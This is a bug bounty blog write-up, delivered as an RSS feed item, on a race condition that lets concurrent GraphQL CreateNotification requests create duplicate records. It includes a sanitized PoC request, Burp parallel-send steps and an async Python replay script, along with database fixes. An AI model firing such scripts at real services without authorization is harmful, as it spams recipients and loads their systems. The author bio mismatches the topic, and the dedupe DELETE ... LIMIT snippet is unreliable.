<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Race condition bugs &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<atom:link href="https://hackersatty.com/tag/race-condition-bugs/feed/" rel="self" type="application/rss+xml" />
	<link>https://hackersatty.com</link>
	<description>Hack Ethicaly, Hunt Bugs</description>
	<lastBuildDate>Sun, 26 Oct 2025 06:18:03 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg</url>
	<title>Race condition bugs &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<link>https://hackersatty.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">245626826</site>	<item>
		<title>How I Abused a Race Condition to Create Duplicate Notification Records (sanitized)</title>
		<link>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/</link>
					<comments>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 26 Oct 2025 06:18:03 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug bounty API vulnerability]]></category>
		<category><![CDATA[bug bounty for beginners]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[Hackerone Bug bounty]]></category>
		<category><![CDATA[medium bug bounty]]></category>
		<category><![CDATA[Race condition bugs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=521</guid>

					<description><![CDATA[Author: Satyam Pawale — hackersatty.comTarget (sanitized): vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)Severity: High About Me Hey! I’m Satyam Pawale, known as @hackersatty in the bug bounty and ethical &#8230; <a href="https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="86" data-end="294"><strong data-start="86" data-end="97">Author:</strong> Satyam Pawale — hackersatty.com<br data-start="158" data-end="161" /><strong data-start="161" data-end="184">Target (sanitized):</strong> vendor.hackersatty.com — Dashboard → Settings → Notifications → Add notification (modal)<br data-start="273" data-end="276" /><strong data-start="276" data-end="289">Severity:</strong> High</p>
<hr data-start="296" data-end="299" />
<h2 data-start="1000" data-end="1017"><span id="About_Me"><strong data-start="1003" data-end="1015">About Me</strong></span></h2>
<p data-start="1019" data-end="1241">Hey! I’m <strong data-start="1028" data-end="1045">Satyam Pawale</strong>, known as <strong data-start="1056" data-end="1072">@hackersatty</strong> in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with finding vulnerabilities that most people overlook.</p>
<p data-start="1243" data-end="1440">My goal with this blog is to share <strong data-start="1278" data-end="1315">real-world bug bounty experiences</strong> so other hunters can learn the techniques, tools, and mindset required to succeed — while staying ethical and responsible.</p>
<p data-start="1442" data-end="1596">This case is about how I found <strong data-start="1473" data-end="1516">critical admin endpoint vulnerabilities</strong> that allowed direct, unauthorized access to sensitive backend pages and data.</p>
<h2 data-start="301" data-end="309">Summary</h2>
<p data-start="310" data-end="911">A race condition in the GraphQL <code data-start="342" data-end="362">CreateNotification</code> flow allows many identical notification records to be created for the same <code data-start="438" data-end="465">(email, notificationType)</code> pair by sending the same mutation concurrently. The backend performs a non-atomic existence check + insert (or lacks a uniqueness constraint), so parallel requests each succeed and create duplicate rows. Impact includes duplicate emails, queue exhaustion, corrupted metrics, and amplified downstream processing. Fix by enforcing atomic deduplication (DB unique constraint, upsert, or transactional locking) and canonicalizing inputs server-side.</p>
<hr data-start="913" data-end="916" />
<h2 data-start="918" data-end="929">Overview</h2>
<p data-start="930" data-end="1368">While testing the notifications feature on a sanitized test instance, I discovered that sending the exact same <code data-start="1041" data-end="1061">CreateNotification</code> GraphQL mutation <em data-start="1079" data-end="1100">near-simultaneously</em> results in multiple identical notification records. The web UI may include client-side deduplication for UX, but the server accepts every concurrent request and persists a row per request because there is no server-side atomic deduplication or uniqueness enforcement.</p>
<p data-start="1370" data-end="1509">All artifacts in this write-up are sanitized: domain names and identifiers use <code data-start="1449" data-end="1466">hackersatty.com</code> and no real emails or tokens are included.</p>
<hr data-start="1511" data-end="1514" />
<h2 data-start="1516" data-end="1543">Vulnerability —</h2>
<p data-start="1544" data-end="1732"><strong data-start="1544" data-end="1595">Race condition / missing server-side uniqueness</strong>: concurrent <code data-start="1608" data-end="1628">CreateNotification</code> GraphQL mutations for the same canonical <code data-start="1670" data-end="1697">(email, notificationType)</code> create duplicate database records.</p>
<hr data-start="1734" data-end="1737" />
<h2 data-start="1739" data-end="1758">Why this matters</h2>
<ul data-start="1759" data-end="2233">
<li data-start="1759" data-end="1868">
<p data-start="1761" data-end="1868"><strong data-start="1761" data-end="1781">Duplicate emails</strong> — recipients receive the same notification multiple times (spam, reputational risk).</p>
</li>
<li data-start="1869" data-end="1963">
<p data-start="1871" data-end="1963"><strong data-start="1871" data-end="1894">Queue &amp; worker load</strong> — duplicate rows trigger duplicate processing and waste resources.</p>
</li>
<li data-start="1964" data-end="2042">
<p data-start="1966" data-end="2042"><strong data-start="1966" data-end="1989">Analytics pollution</strong> — duplicate rows inflate counts and break metrics.</p>
</li>
<li data-start="2043" data-end="2146">
<p data-start="2045" data-end="2146"><strong data-start="2045" data-end="2073">Downstream amplification</strong> — exports, reporting, or workflows iterating over rows are multiplied.</p>
</li>
<li data-start="2147" data-end="2233">
<p data-start="2149" data-end="2233"><strong data-start="2149" data-end="2171">Highly automatable</strong> — a script or proxy tool can reliably create many duplicates.</p>
</li>
</ul>
<hr data-start="2235" data-end="2238" />
<h2 data-start="2240" data-end="2284">Best reproduction scenario</h2>
<p data-start="2286" data-end="2303"><strong data-start="2286" data-end="2303">Preconditions</strong></p>
<ul data-start="2304" data-end="2622">
<li data-start="2304" data-end="2339">
<p data-start="2306" data-end="2339">Valid test account on the portal.</p>
</li>
<li data-start="2340" data-end="2428">
<p data-start="2342" data-end="2428">Active session cookie or Authorization bearer token (the same session used by the UI).</p>
</li>
<li data-start="2429" data-end="2574">
<p data-start="2431" data-end="2574">Intercepting proxy or HTTP client that can replay requests concurrently (Burp Repeater, <code data-start="2519" data-end="2525">curl</code> with <code data-start="2531" data-end="2541">xargs -P</code>, Python <code data-start="2550" data-end="2559">aiohttp</code> script, etc.).</p>
</li>
<li data-start="2575" data-end="2622">
<p data-start="2577" data-end="2622">Testing done only on authorized environments.</p>
</li>
</ul>
<p data-start="2624" data-end="2633"><strong data-start="2624" data-end="2633">Steps</strong></p>
<ol data-start="2634" data-end="3662">
<li data-start="2634" data-end="2707">
<p data-start="2637" data-end="2707">Log into the portal at <code data-start="2660" data-end="2684">vendor.hackersatty.com</code> with a test account.</p>
</li>
<li data-start="2708" data-end="2786">
<p data-start="2711" data-end="2786">Dashboard → Settings → Notifications → Add notification (open the modal).</p>
</li>
<li data-start="2787" data-end="2880">
<p data-start="2790" data-end="2880">Fill notification type (example: <code data-start="2823" data-end="2840">ACCOUNT_UPDATES</code>) and a placeholder email (sanitized).</p>
</li>
<li data-start="2881" data-end="2949">
<p data-start="2884" data-end="2949">Click Save once — confirm a single entry is created (expected).</p>
</li>
<li data-start="2950" data-end="3078">
<p data-start="2953" data-end="3078">Start an intercepting proxy and perform the same Add action again to capture the GraphQL mutation for <code data-start="3055" data-end="3075">CreateNotification</code>.</p>
</li>
<li data-start="3079" data-end="3176">
<p data-start="3082" data-end="3176">Send the captured POST <code data-start="3105" data-end="3115">/graphql</code> request to the proxy&#8217;s Repeater (or save the raw request).</p>
</li>
<li data-start="3177" data-end="3250">
<p data-start="3180" data-end="3250">Clone the captured request many times (e.g., 5–20 identical copies).</p>
</li>
<li data-start="3251" data-end="3406">
<p data-start="3254" data-end="3406">Use <strong data-start="3258" data-end="3283">Send group (Parallel)</strong> in Burp Repeater (or run the copies concurrently via a script) so they hit the server within milliseconds of each other.</p>
</li>
<li data-start="3407" data-end="3487">
<p data-start="3410" data-end="3487">Observe: each response returns success (HTTP 200 + GraphQL create payload).</p>
</li>
<li data-start="3488" data-end="3662">
<p data-start="3492" data-end="3662">Refresh the Notifications UI — multiple identical notification rows appear for the same <code data-start="3580" data-end="3607">(email, notificationType)</code> equal to the number of successful concurrent requests.</p>
</li>
</ol>
<hr data-start="3664" data-end="3667" />
<h2 data-start="3669" data-end="3714">Sanitized PoC — Request (GraphQL mutation)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">POST /graphql HTTP/2<br />
Host: vendor.hackersatty.com<br />
Content-Type: application/json<br />
Apollographql-Client-Name: vendor-portal<br />
Authorization: Bearer &lt;REDACTED_TOKEN&gt;<br />
Origin: https://vendor.hackersatty.com<br />
Referer: https://vendor.hackersatty.com/dashboard/settings/notifications</p>
<p>{<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: 12345<br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification(<span class="hljs-variable">$input</span></span>: CreateNotificationInput!) { createNotification(input: <span class="hljs-variable">$input</span>) { accountId notificationType email __typename } }"<br />
}<br />
</code></div>
</div>
<h2 data-start="4352" data-end="4434">Sanitized PoC — Typical Response (each concurrent request returns same success)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">HTTP/<span class="hljs-number">2</span> <span class="hljs-number">200</span> OK<br />
<span class="hljs-attribute">Content</span>-Type: application/json</p>
<p>{<br />
  "data": {<br />
    "createNotification": {<br />
      "accountId": <span class="hljs-string">"12345"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"__typename"</span>: <span class="hljs-string">"NotificationRecord"</span><br />
    }<br />
  }<br />
}<br />
</code></div>
</div>
<blockquote data-start="4693" data-end="4816">
<p data-start="4695" data-end="4816">Each parallel request returns a created payload and, after refresh, multiple identical notification rows exist in the UI.</p>
</blockquote>
<hr data-start="4818" data-end="4821" />
<h2 data-start="4823" data-end="4888">Exactly how the race condition happens (technical explanation)</h2>
<ol data-start="4889" data-end="5536">
<li data-start="4889" data-end="4983">
<p data-start="4892" data-end="4983"><strong data-start="4892" data-end="4925">Non-atomic check-then-insert:</strong> the server likely performs <code data-start="4953" data-end="4980">if not exists then insert</code>.</p>
</li>
<li data-start="4984" data-end="5194">
<p data-start="4987" data-end="5194"><strong data-start="4987" data-end="5010">Concurrency window:</strong> when multiple identical requests arrive simultaneously, each executes the existence check before any concurrent inserts commit; each sees &#8220;no existing row&#8221; and proceeds to <code data-start="5183" data-end="5191">INSERT</code>.</p>
</li>
<li data-start="5195" data-end="5336">
<p data-start="5198" data-end="5336"><strong data-start="5198" data-end="5230">No DB uniqueness constraint:</strong> the DB lacks a uniqueness constraint on <code data-start="5271" data-end="5309">(canonical_email, notification_type)</code>, so all inserts succeed.</p>
</li>
<li data-start="5337" data-end="5448">
<p data-start="5340" data-end="5448"><strong data-start="5340" data-end="5352">Outcome:</strong> the application returns &#8220;created&#8221; for each request; multiple identical records are persisted.</p>
</li>
<li data-start="5449" data-end="5536">
<p data-start="5452" data-end="5536"><strong data-start="5452" data-end="5465">Symptoms:</strong> N UI rows for N concurrent requests; duplicated processing downstream.</p>
</li>
</ol>
<p data-start="5538" data-end="5708">This is the classic race condition between check and insert under concurrency — the fix is to make creation atomic at the storage layer or to serialize the creation path.</p>
<hr data-start="5710" data-end="5713" />
<h2 data-start="5715" data-end="5755">Techniques &amp; tools used (methodology)</h2>
<ul data-start="5756" data-end="6286">
<li data-start="5756" data-end="5841">
<p data-start="5758" data-end="5841"><strong data-start="5758" data-end="5781">Intercepting proxy:</strong> Burp Suite (Proxy + Repeater) with Send group (Parallel).</p>
</li>
<li data-start="5842" data-end="5958">
<p data-start="5844" data-end="5958"><strong data-start="5844" data-end="5880">Alternative concurrency methods:</strong> <code data-start="5881" data-end="5887">curl</code> with <code data-start="5893" data-end="5903">xargs -P</code>, Python <code data-start="5912" data-end="5921">aiohttp</code> or threaded <code data-start="5934" data-end="5944">requests</code>, <code data-start="5946" data-end="5955">wrk/hey</code>.</p>
</li>
<li data-start="5959" data-end="6099">
<p data-start="5961" data-end="6099"><strong data-start="5961" data-end="5978">Verification:</strong> compare number of created rows in UI to number of concurrent requests; inspect GraphQL responses for created payloads.</p>
</li>
<li data-start="6100" data-end="6175">
<p data-start="6102" data-end="6175"><strong data-start="6102" data-end="6119">Sanitization:</strong> remove tokens, emails, and PII from stored artifacts.</p>
</li>
<li data-start="6176" data-end="6286">
<p data-start="6178" data-end="6286"><strong data-start="6178" data-end="6202">Optional automation:</strong> small async script that sends identical POSTs concurrently to reproduce in staging.</p>
</li>
<li data-start="6176" data-end="6286"><img fetchpriority="high" decoding="async" class="alignnone  wp-image-522" src="https://hackersatty.com/wp-content/uploads/2025/10/3.png" alt="Race Condition" width="265" height="290" title="How I Abused a Race Condition to Create Duplicate Notification Records (sanitized) 2" srcset="https://hackersatty.com/wp-content/uploads/2025/10/3.png 690w, https://hackersatty.com/wp-content/uploads/2025/10/3-274x300.png 274w, https://hackersatty.com/wp-content/uploads/2025/10/3-600x657.png 600w" sizes="(max-width: 265px) 100vw, 265px" /></li>
</ul>
<hr data-start="6288" data-end="6291" />
<h2 data-start="6293" data-end="6324">Concrete fixes (prioritized)</h2>
<h3 data-start="6326" data-end="6387">1) Enforce uniqueness at the database layer (recommended)</h3>
<p data-start="6388" data-end="6453">Create a unique index on canonicalized email + notification_type:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">UNIQUE</span> INDEX CONCURRENTLY idx_notifications_unique_email_type<br />
<span class="hljs-keyword">ON</span> notifications ((<span class="hljs-built_in">lower</span>(email)), notification_type);<br />
</code></div>
</div>
<p data-start="6590" data-end="6666">This guarantees the storage layer prevents duplicates under concurrent load.</p>
<h3 data-start="6668" data-end="6708">2) Use atomic upsert (<code data-start="6694" data-end="6707">ON CONFLICT</code>)</h3>
<p data-start="6709" data-end="6727">Preferred pattern:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> notifications (account_id, email, notification_type, created_at)<br />
<span class="hljs-keyword">VALUES</span> ($<span class="hljs-number">1</span>, <span class="hljs-built_in">lower</span>($<span class="hljs-number">2</span>), $<span class="hljs-number">3</span>, now())<br />
<span class="hljs-keyword">ON</span> CONFLICT ((<span class="hljs-built_in">lower</span>(email)), notification_type) DO <span class="hljs-keyword">UPDATE</span><br />
  <span class="hljs-keyword">SET</span> updated_at <span class="hljs-operator">=</span> EXCLUDED.created_at<br />
RETURNING <span class="hljs-operator">*</span>;<br />
</code></div>
</div>
<p data-start="6962" data-end="7053">Or <code data-start="6965" data-end="6989">ON CONFLICT DO NOTHING</code> followed by <code data-start="7002" data-end="7010">SELECT</code> the existing row if you need to return it.</p>
<h3 data-start="7055" data-end="7090">3) Server-side canonicalization</h3>
<p data-start="7091" data-end="7194">Always canonicalize emails server-side (trim + lowercase + unicode normalize) before checks or inserts.</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-keyword">const</span> canonicalEmail = email.<span class="hljs-title function_">trim</span>().<span class="hljs-title function_">toLowerCase</span>();<br />
</code></div>
</div>
<h3 data-start="7258" data-end="7292">4) Optional: idempotency token</h3>
<p data-start="7293" data-end="7452">If clients can provide an idempotency key, enforce it server-side to dedupe create attempts. This is most suitable for API clients rather than basic UI clicks.</p>
<h3 data-start="7454" data-end="7499">5) Transactional locking / advisory locks</h3>
<p data-start="7500" data-end="7721">If <code data-start="7503" data-end="7516">ON CONFLICT</code> is not available, use transactional serialization or an advisory lock keyed by <code data-start="7596" data-end="7646">(account_id, canonical_email, notification_type)</code> to serialize creation. This is less desirable than DB uniqueness + upsert.</p>
<hr data-start="7723" data-end="7726" />
<h2 data-start="7728" data-end="7769">Pseudocode — atomic upsert (preferred)</h2>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-pseudo">function createNotification(accountId, email, notificationType):<br />
    email = canonicalize(email)  // trim + lowercase + normalize</p>
<p>    result = db.query(<br />
      `INSERT INTO notifications (account_id, email, notification_type, created_at)<br />
       VALUES ($1, $2, $3, now())<br />
       ON CONFLICT ((lower(email)), notification_type) DO UPDATE<br />
       SET updated_at = now()<br />
       RETURNING *`,<br />
      [accountId, email, notificationType]<br />
    )</p>
<p>    return result<br />
</code></div>
</div>
<hr data-start="8241" data-end="8244" />
<h2 data-start="8246" data-end="8287">Detection &amp; monitoring recommendations</h2>
<ul data-start="8288" data-end="8664">
<li data-start="8288" data-end="8363">
<p data-start="8290" data-end="8363"><strong data-start="8290" data-end="8309">Alert on spikes</strong> in notifications creation per account or per email.</p>
</li>
<li data-start="8364" data-end="8464">
<p data-start="8366" data-end="8464"><strong data-start="8366" data-end="8405">Instrument unique-violation metrics</strong> after adding constraints to detect attempted duplicates.</p>
</li>
<li data-start="8465" data-end="8561">
<p data-start="8467" data-end="8561"><strong data-start="8467" data-end="8481">Audit logs</strong>: record create attempts, client IPs, and request ids for concurrent patterns.</p>
</li>
<li data-start="8562" data-end="8664">
<p data-start="8564" data-end="8664"><strong data-start="8564" data-end="8584">Queue monitoring</strong>: track message queue length and worker backlogs triggered by notification rows.</p>
</li>
</ul>
<hr data-start="8666" data-end="8669" />
<h2 data-start="8671" data-end="8703">Safe remediation rollout plan</h2>
<ol data-start="8704" data-end="9081">
<li data-start="8704" data-end="8824">
<p data-start="8707" data-end="8720"><strong data-start="8707" data-end="8720">Immediate</strong></p>
<ul data-start="8724" data-end="8824">
<li data-start="8724" data-end="8779">
<p data-start="8726" data-end="8779">Canonicalize emails server-side (lowercase + trim).</p>
</li>
<li data-start="8783" data-end="8824">
<p data-start="8785" data-end="8824">Add rate limits to the create endpoint.</p>
</li>
</ul>
</li>
<li data-start="8826" data-end="8996">
<p data-start="8829" data-end="8846"><strong data-start="8829" data-end="8846">High priority</strong></p>
<ul data-start="8850" data-end="8996">
<li data-start="8850" data-end="8904">
<p data-start="8852" data-end="8904">Clean existing duplicates (see dedupe plan below).</p>
</li>
<li data-start="8908" data-end="8996">
<p data-start="8910" data-end="8996">Create a unique index concurrently and change create flow to <code data-start="8971" data-end="8995">INSERT ... ON CONFLICT</code>.</p>
</li>
</ul>
</li>
<li data-start="8998" data-end="9081">
<p data-start="9001" data-end="9013"><strong data-start="9001" data-end="9013">Post-fix</strong></p>
<ul data-start="9017" data-end="9081">
<li data-start="9017" data-end="9081">
<p data-start="9019" data-end="9081">Run dedupe migration in controlled batches and add monitoring.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="9083" data-end="9086" />
<h2 data-start="9088" data-end="9123">Dedupe migration (safe approach)</h2>
<ol data-start="9124" data-end="9174">
<li data-start="9124" data-end="9150">
<p data-start="9127" data-end="9150"><strong data-start="9127" data-end="9137">Backup</strong> the table.</p>
</li>
<li data-start="9151" data-end="9174">
<p data-start="9154" data-end="9174">Identify duplicates:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-built_in">lower</span>(email) <span class="hljs-keyword">AS</span> email_norm, notification_type, <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-keyword">AS</span> c<br />
<span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
<span class="hljs-keyword">HAVING</span> <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>;<br />
</code></div>
</div>
<ol start="3" data-start="9337" data-end="9422">
<li data-start="9337" data-end="9422">
<p data-start="9340" data-end="9422">Keep one canonical row (e.g., earliest <code data-start="9379" data-end="9391">created_at</code>) and delete others in batches:</p>
</li>
</ol>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-sql"><span class="hljs-keyword">WITH</span> ranked <span class="hljs-keyword">AS</span> (<br />
  <span class="hljs-keyword">SELECT</span> id, <span class="hljs-built_in">ROW_NUMBER</span>() <span class="hljs-keyword">OVER</span> (<br />
    <span class="hljs-keyword">PARTITION</span> <span class="hljs-keyword">BY</span> <span class="hljs-built_in">lower</span>(email), notification_type<br />
    <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> created_at <span class="hljs-keyword">ASC</span><br />
  ) rn<br />
  <span class="hljs-keyword">FROM</span> notifications<br />
)<br />
<span class="hljs-keyword">DELETE</span> <span class="hljs-keyword">FROM</span> notifications<br />
<span class="hljs-keyword">WHERE</span> id <span class="hljs-keyword">IN</span> (<span class="hljs-keyword">SELECT</span> id <span class="hljs-keyword">FROM</span> ranked <span class="hljs-keyword">WHERE</span> rn <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>)<br />
LIMIT <span class="hljs-number">1000</span>; <span class="hljs-comment">-- run repeatedly until done</span><br />
</code></div>
</div>
<ol start="4" data-start="9709" data-end="9826">
<li data-start="9709" data-end="9826">
<p data-start="9712" data-end="9826">Validate referential integrity and update dependent tables if necessary. Run in small batches with an audit trail.</p>
</li>
</ol>
<hr data-start="9828" data-end="9831" />
<h2 data-start="9833" data-end="9899">Example automated reproduction script (sanitized, Python async)</h2>
<blockquote data-start="9900" data-end="9981">
<p data-start="9902" data-end="9981">For authorized testing only — do not run against production without permission.</p>
</blockquote>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-python"><span class="hljs-comment"># async_replay.py (sanitized)</span><br />
<span class="hljs-keyword">import</span> asyncio<br />
<span class="hljs-keyword">import</span> aiohttp</p>
<p>URL = <span class="hljs-string">"https://vendor.hackersatty.com/graphql"</span><br />
HEADERS = {<br />
    <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,<br />
    <span class="hljs-string">"Authorization"</span>: <span class="hljs-string">"Bearer &lt;REDACTED_TOKEN&gt;"</span><br />
}<br />
PAYLOAD = {<br />
  <span class="hljs-string">"operationName"</span>: <span class="hljs-string">"CreateNotification"</span>,<br />
  <span class="hljs-string">"variables"</span>: {<br />
    <span class="hljs-string">"input"</span>: {<br />
      <span class="hljs-string">"email"</span>: <span class="hljs-string">"&lt;REDACTED_EMAIL&gt;"</span>,<br />
      <span class="hljs-string">"notificationType"</span>: <span class="hljs-string">"ACCOUNT_UPDATES"</span>,<br />
      <span class="hljs-string">"accountId"</span>: <span class="hljs-number">12345</span><br />
    }<br />
  },<br />
  <span class="hljs-string">"query"</span>: <span class="hljs-string">"mutation CreateNotification($input: CreateNotificationInput!) { createNotification(input: $input) { accountId notificationType email } }"</span><br />
}</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">send_one</span>(<span class="hljs-params">session</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> session.post(URL, json=PAYLOAD, headers=HEADERS) <span class="hljs-keyword">as</span> resp:<br />
        text = <span class="hljs-keyword">await</span> resp.text()<br />
        <span class="hljs-keyword">return</span> resp.status, text</p>
<p><span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>(<span class="hljs-params">n</span>):<br />
    <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> aiohttp.ClientSession() <span class="hljs-keyword">as</span> session:<br />
        tasks = [send_one(session) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(n)]<br />
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> asyncio.gather(*tasks)</p>
<p><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br />
    results = asyncio.run(main(<span class="hljs-number">10</span>))<br />
    <span class="hljs-keyword">for</span> status, body <span class="hljs-keyword">in</span> results:<br />
        <span class="hljs-built_in">print</span>(status, body[:<span class="hljs-number">200</span>])<br />
</code></div>
</div>
<p data-start="11029" data-end="11136">This script sends 10 concurrent create requests; on an affected system you would see multiple created rows.</p>
<hr data-start="11138" data-end="11141" />
<h2 data-start="11143" data-end="11190">Short checklist to verify the fix in staging</h2>
<ol data-start="11191" data-end="11678">
<li data-start="11191" data-end="11261">
<p data-start="11194" data-end="11261">Add canonicalization and upsert logic + unique index in a branch.</p>
</li>
<li data-start="11262" data-end="11369">
<p data-start="11265" data-end="11369">Run the staging app and attempt the same parallel test (Burp Repeater Send group or the async script).</p>
</li>
<li data-start="11370" data-end="11488">
<p data-start="11373" data-end="11488">Confirm only one notification row exists per canonical <code data-start="11428" data-end="11455">(email, notificationType)</code> after the concurrent attempts.</p>
</li>
<li data-start="11489" data-end="11592">
<p data-start="11492" data-end="11592">Monitor logs and unique-violation metrics; expect zero unhandled constraint errors in normal flow.</p>
</li>
<li data-start="11593" data-end="11678">
<p data-start="11596" data-end="11678">Run the dedupe migration if historical duplicates exist and then create the index.</p>
</li>
</ol>
<hr data-start="11680" data-end="11683" />
<h2 data-start="11685" data-end="11719">Summary —</h2>
<ol data-start="11720" data-end="12122">
<li data-start="11720" data-end="11840">
<p data-start="11723" data-end="11840"><strong data-start="11723" data-end="11761">Enforce uniqueness at the DB layer</strong>: create a unique index on canonicalized <code data-start="11802" data-end="11837">(lower(email), notification_type)</code>.</p>
</li>
<li data-start="11841" data-end="11972">
